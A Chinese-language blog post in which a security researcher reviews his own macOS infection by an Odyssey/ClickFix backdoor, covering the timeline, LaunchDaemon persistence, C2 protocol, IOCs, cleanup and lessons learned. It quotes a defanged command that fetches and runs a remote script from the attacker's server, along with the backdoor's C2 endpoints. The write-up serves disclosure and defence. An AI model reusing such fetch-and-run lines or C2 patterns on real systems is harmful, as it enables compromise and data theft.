Posts

阴沟里翻船:一次 macOS Odyssey/ClickFix 感染复盘

引言

好久没更新博客,一更新就是自己中招。

事情的起因是我让 Codex 帮我做了一次非侵入式安全检查,本来只是想看看 Mac 上有没有什么奇怪的后台、启动项、网络连接。结果在 /Library/LaunchDaemons/ 里翻出来一个非常不对劲的东西:

1
/Library/LaunchDaemons/com.14622.plist

名字就很不 Apple,也不像正常厂商的 bundle id。打开一看,是一段被塞进 plist 里的混淆 AppleScript,通过 osascript 跑起来,后面还连着 C2、远程命令、下载 socks payload 这一整套。

阴沟里翻船了属于是。平时看别人 ClickFix 中招,轮到自己也就一行复制粘贴的事。

本文是这次事件的复盘。样本和命令都会做去武器化处理,不放能直接复制执行的 payload。

结论先行

这次不是浏览器 0day,也不是 macOS 被远程打穿。最可信的入口是我自己在终端里执行了一条被 base64 包装过的命令。

zsh 历史里有完整记录:

1
2
2025-10-20 10:25:04 CST
echo "<base64 payload>" | base64 -d | bash

解码后实际执行的是:

1
curl -s hxxp://185[.]93[.]89[.]62/d/xxx33312 | nohup bash &

这个时间点和后续文件落地完全对齐:

时间 事件
2025-10-20 10:25:04 终端执行 base64 包装命令
2025-10-20 10:25:08 创建 ~/.chost~/.username
2025-10-20 10:25:14 创建 ~/.pwd
2025-10-20 10:25:37 写入 /Library/LaunchDaemons/com.14622.plist
2025-10-20 10:25:38 创建 ~/.botid,说明已向 C2 注册成功
2025-10-20 10:26:39 删除 nohup.out
2025-10-23 21:55:04 创建 ~/.uninstalled,后门开始自停

也就是说,感染点基本可以锚定在 2025-10-20 10:25:04 这一条终端命令。

样本行为

com.14622.plist 是一个 root-owned LaunchDaemon,但是指定以我的用户运行:

1
2
3
4
5
Label: com.14622
Program: /bin/bash
UserName: liyilin
RunAtLoad: true
KeepAlive: true

它真正执行的是一段混淆 AppleScript。逻辑拆开以后大概是:

  1. 读取 ~/.chost,里面是 C2 地址:185[.]93[.]89[.]62
  2. 读取 ~/.username,本机里是 xxx
  3. 如果 ~/.botid 不存在,就向 C2 注册:
1
hxxp://185[.]93[.]89[.]62/api/v1/bot/joinsystem/<username>/<macOS version>
  1. 注册成功后写入 ~/.botid
  2. 进入循环,每 60 秒请求动作:
1
hxxp://185[.]93[.]89[.]62/api/v1/bot/actions/<botid>
  1. 远端动作支持三类:
1
2
3
repeat       拉远端脚本并交给 bash
doshell 执行任意 shell 命令
enablesocks5 下载 /tmp/socks 并后台运行
  1. 如果远端返回 uninstall,或者多次请求失败,就写 ~/.uninstalled,以后启动时直接退出。

比较关键的是,当前机器上没有发现 ~/.lastaction,也没有发现 /tmp/socks 残留。结合本地证据,我能确定它注册过机器,但没有足够证据证明它后续执行过远程命令或被拿去做代理。

当然,这只是“本机残留能证明的范围”。如果远端下发的命令自己清理痕迹,本机就不一定能完整还原。

IOC

本机发现的 IOC:

1
2
3
4
5
6
/Library/LaunchDaemons/com.14622.plist
~/.chost
~/.username
~/.botid
~/.pwd
~/.uninstalled

网络 IOC:

1
2
3
4
185[.]93[.]89[.]62
hxxp://185[.]93[.]89[.]62/d/xxx33312
hxxp://185[.]93[.]89[.]62/otherassets/plist
hxxp://185[.]93[.]89[.]62/otherassets/socks

公开情报里也能对上。URLhaus 上这个 host 从 2025 年 8 月开始就有 OdysseyStealer/ClickFix 相关记录,而且当前显示在线恶意 URL 为 0%。ThreatFox 也把相关 ASN 标到了恶意基础设施上下文里。

参考:

我当时大概干了什么

本机 Chrome History 和 Quarantine 事件没有留下能直接指向具体网页的 URL,所以不能 100% 还原“哪个页面”。

但 zsh 历史能还原大概场景:

1
2
3
4
5
6
7
8
10:25:04  执行 base64 -d | bash
10:26:30 ls
10:26:33 cd
10:26:39 rm -rf nohup.out
10:35:25 cd Downloads
10:35:31 进入一个 MuMu 相关目录
10:40:25 从 /Volumes/MuMuPlayer Pro 1.6.10 Crked | Digit77.com/ 下执行东西
10:43:57 xattr -cr "/Applications/MuMuPlayer Pro.app"

这里有两个点:

第一,nohup.out 几乎可以确定是那条恶意命令跑出来的,因为 payload 本身就是 nohup bash &。我一分钟后手动删了它,说明当时我人在终端前面,可能看到多了一个输出文件,但没意识到刚才那条命令已经落地持久化。

第二,后面出现了 MuMuPlayer Pro 1.6.10 Crked | Digit77.com 这种明显高危上下文,还执行了 xattr -cr。这不一定就是感染源,因为恶意命令发生在它之前十分钟;但它说明当时大概率是在下载/安装某个破解器、破解版软件或者绕过 Gatekeeper 的东西。这个操作环境非常适合 ClickFix 页面投递:网页告诉你“复制命令到终端验证/安装/修复”,你一贴就结束了。

所以我的还原是:

我当时大概率遇到了一个假验证/假安装页面。页面给了一段 base64 包装的终端命令,我把它复制到 Terminal 里执行。命令拉取并运行了 185[.]93[.]89[.]62/d/xxx33312,随后 payload 写入 LaunchDaemon 完成持久化。

这就是 ClickFix 的可怕之处:它不需要漏洞,它利用的是“用户愿意帮它过最后一道执行门槛”。

为什么能写进 LaunchDaemon

/Library/LaunchDaemons/ 不是普通用户能随便写的地方。这里能写进去,说明当时至少发生过一种情况:

  1. payload 弹了伪系统密码框,骗到了管理员密码;
  2. payload 调用了需要管理员授权的脚本,我输入过密码;
  3. 当时终端里存在某种 sudo 授权窗口;
  4. 其他我现在无法从残留里证明的提权方式。

这次样本里还留了 ~/.pwd,创建时间是 10:25:14,在恶意命令执行后 10 秒出现。com.14622.plist 本身没有引用它,所以不能直接说它就是管理员密码,但它和整套文件同一时间生成,我会按敏感信息泄漏来处理。

清理过程

清理前先做了样本保全:

  • 原始 plist
  • 隐藏配置文件
  • 文件时间戳
  • SHA256
  • launchd 状态
  • 进程和网络快照

然后再清理持久化:

  1. 卸载 system/com.14622
  2. 删除 /Library/LaunchDaemons/com.14622.plist
  3. 删除用户目录下的 .chost.username.botid.lastaction.uninstalled.pwd
  4. 检查 /tmp/socks/private/tmp/socks/var/tmp/socks
  5. 复查进程、launchd、网络连接和常见持久化目录
  6. 触发 macOS 安全数据更新

最终复查结果:

1
2
3
4
5
6
launchd 找不到 com.14622
/Library/LaunchDaemons/com.14622.plist 不存在
用户目录相关隐藏文件不存在
/tmp/socks 不存在
没有相关进程
没有到 185[.]93[.]89[.]62 的连接

C2 当前也直连不可达:80 端口超时,HTTP 根路径超时,ICMP 无响应。结合 URLhaus 的 offline 记录,这个投递点大概率已经下线或被封。

泄漏评估

能确定的是:

  • 我的机器至少成功向 C2 注册过;
  • 远端拿到了用户名标识、macOS 版本、来源 IP、bot id;
  • 本机曾经具备执行远程动作的后门能力。

不能确定的是:

  • 是否真的执行过 doshell
  • 是否上传过文件;
  • 是否读取过 Keychain、浏览器 Cookie、钱包扩展数据;
  • 是否跑过额外 payload 后自清理。

因为没有 ~/.lastaction,没有 /tmp/socks,也没有保留 out.zip 之类的明显归档残留,所以本机证据不足以证明后续利用。但安全处置上不能按“没事”处理,尤其是浏览器会话、开发密钥、钱包扩展、SSH key、API token 这些。

教训

这次最有意思、也最丢人的地方是:它没有用什么高级漏洞。

它只是让我自己执行了:

1
echo "<base64>" | base64 -d | bash

我做安全研究,也知道 curl | bash 是高危操作;但在“装软件”“过验证”“临时搞一下”的上下文里,人会很容易把这条边界放低。

以后给自己立几条规矩:

  1. 网页让复制命令到终端,一律先当成恶意。
  2. 任何 base64 -d | bashcurl | bash,先解码保存到文件再看。
  3. 破解版、破解脚本、xattr -cr 这类上下文默认红色预警。
  4. 定期扫一遍 /Library/LaunchDaemons/~/Library/LaunchAgents/
  5. launchctl printlsofps auxww 比“感觉没事”靠谱。
  6. 个人电脑也要按工作机标准对待,尤其是存了研究材料和各种 token 的机器。

阴沟里翻船不可怕,可怕的是翻完还不知道自己怎么翻的。

这次至少把链路补上了:ClickFix 页面诱导复制命令,终端执行 payload,LaunchDaemon 持久化,C2 注册,几天后自停,半年后被翻出来。

记录一下,也算给长草的博客除个草。